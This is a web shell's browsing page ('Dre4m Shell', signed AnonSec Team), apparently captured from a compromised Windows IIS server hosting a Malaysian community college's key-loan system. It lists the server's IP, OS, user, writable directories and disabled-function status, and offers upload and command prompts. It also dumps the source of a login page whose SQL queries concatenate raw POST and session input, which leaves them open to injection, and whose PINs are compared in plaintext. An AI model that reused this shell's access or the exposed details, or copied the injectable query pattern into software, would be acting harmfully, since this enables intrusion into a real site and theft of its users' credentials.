Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.145.33.230
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/feenixmy/qrkunci.feenix.my/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/feenixmy/qrkunci.feenix.my/wwwroot/qrpinjam.php
<?php session_start();ob_start();include "conn.php";?>

<!DOCTYPE html>
<html>

<head>
<meta charset="UTF-8">
<meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0;  user-scalable=0;" name="viewport">
<?php @$_SESSION['mobile'] = "<meta content='width=device-width; initial-scale=1.0; maximum-scale=1.0;  user-scalable=0;' name='viewport'>";?>
<link rel="icon" href="img/icon_SistemMaklumatKunci.png">
<link rel="stylesheet" href="set.css" type="text/css">
<title>Sistem Maklumat Kunci KKS2</title>
</head>

<body>
<div align="center" class="framed">
<div class="dated"><?php include "t.php";date_default_timezone_set("Asia/Kuala_Lumpur");?></div>

<div class="greet">
<?php echo"Selamat Datang, ";if(@$_SESSION['admin']!=NULL){echo"<strong><font color='purple'>".@$_SESSION['admin']."</font></strong>";}elseif(@$_SESSION['userID']==NULL){echo"<strong><font color='purple'>STAF KOLEJ KOMUNITI SEGAMAT 2</font></strong>";}else{echo"<strong><font color='purple'>".$_SESSION['userID']."</font></strong>";}?>
</div>

<header><br /><br /><br /><img src="img/SistemMaklumatKunci.png" height="60px"><br /><br /></header><br />

<img src="img/linevector.png">

<h2><font color="#0000CC">REKOD PEMINJAMAN KUNCI</font></h2>

<?php 
if(isset($_POST['qrMasuk'])){
	if(@$_POST['IDPengguna'] == NULL || @$_POST['KataLaluan'] == NULL){
		echo "<br />ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.<br />";
	}else{
		$a = mysqli_query($paut, "SELECT * FROM nms WHERE un='".@$_POST['IDPengguna']."' AND nopin='".@$_POST['KataLaluan']."'");
		while($a1=mysqli_fetch_array($a)){

		if($a1['un']!=$_POST['IDPengguna'] && $a1['nopin']!=$_POST['KataLaluan']){	
			echo "<br />ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.<br />";}
		elseif($a1['un']!=$_POST['IDPengguna'] || $a1['nopin']!=$_POST['KataLaluan']){	
			echo "<br />ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.<br />";}
		elseif($a1['un']==$_POST['IDPengguna'] && $a1['nopin']==$_POST['KataLaluan'] && $a1['ad']==1){	
			$_SESSION['admin']=$a1['Nms'];$_SESSION['UserID']=$a1['ids'];$_SESSION['A']="Pentadbir Sistem";
			header("Location:qr.php");ob_end_clean();
			}
		elseif($a1['un']==$_POST['IDPengguna'] && $a1['nopin']==$_POST['KataLaluan'] && $a1['ad']==0){	
			$_SESSION['staf']=$a1['Nms'];$_SESSION['UserID']=$a1['ids'];
			header("Location:qr.php");ob_end_clean();
			}
		elseif($a1['un']==$_POST['IDPengguna'] && $a1['nopin']==$_POST['KataLaluan'] && $a1['ad']==2){	
			$_SESSION['staf']=$a1['Nms'];$_SESSION['UserID']=$a1['ids'];			
			header("Location:qr.php");ob_end_clean();
			}
		else{ 	
			echo"<br /><center>ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.</center><br>";
			}
		}
	}
}

//pinjam
if(@$_SESSION['KBILIK']!=NULL){
echo "<center><strong><div style='border: 1px solid rgb(70, 70, 0); padding: 10px; background-color: rgb(235, 235, 214); margin: 10px;'><font color='BLUE'><br>".$_SESSION['STAF']."</font> <font color='#000000'>telah mengambil kunci bilik</font> <font color='BLUE'>".$_SESSION['BILIK']." (".$_SESSION['KBILIK'].")<br></font><br></div></strong></center><br><br><br>";}

if(@$_SESSION['infoPINJAM']!=NULL){
echo "<font color='#FFFFFF'>".@$_SESSION['nopinPINJAM']."</font><center><strong><div style='border: 1px solid rgb(70, 70, 0); padding: 10px; background-color: rgb(235, 235, 214); margin: 10px;'><font color='RED'><br>".$_SESSION['infoPINJAM']."<br></font><br></div></strong></center><br><br><br>";}
?>

<br /><br />
<?php if(@$_GET['TutupBorangPulang']==NULL){?>
<form name="qrpinjaman" action="qrpinjam.php?TutupBorangPulang=1" method="post">

<?php
$q = mysqli_query($paut, "SELECT * FROM bil WHERE idbil='".$_SESSION['QRIDKUNCI']."'");
while($q1=mysqli_fetch_array($q)){
	echo "Kod Kunci: <font size='4'><strong>".$q1['Kod']."</strong></font><br /><br />";	
	echo "Nama Bilik/Makmal/Bengkel: <font size='4'><strong>".$q1['Nm']."</strong></font>";		
}
?>
<br /><br />
<input class="carian3" type="text" name="IDPengguna" size="35" placeholder="Masukkan NAMA PENGGUNA"><br /><br />
<input class="carian3" type="password" name="KataLaluan" size="30" placeholder="Masukkan KATA LALUAN"><br /><br /><br />

<input class="btn-carian" name="qrReset" type="reset" value="Semula">&nbsp;&nbsp;
<input class="btn-carian2" name="qrMasuk" type="submit" value="Pinjam Kunci">&nbsp;&nbsp;
<input title="Batal dan Tutup Tetingkap" class="btn-carian" name="qrclose" type="button" value="Batal" onClick="javascript:window.close()">
</form>
<br />
<?php }else{echo"";}?>

<form name="qrpinjaman" action="index.php" method="post">
<input title="Ke Paparan Laman Utama" class="btn-carian" name="utama" type="submit" value="Laman Utama">
</form>
<br /><br />
<?php include"f.php";?>

<style>
img {
    max-width: 100%;
}

.carian2{
	max-width: 100%
}

.slc-carian2{
	max-width: 100%
}
</style>

Anon7 - 2022
AnonSec Team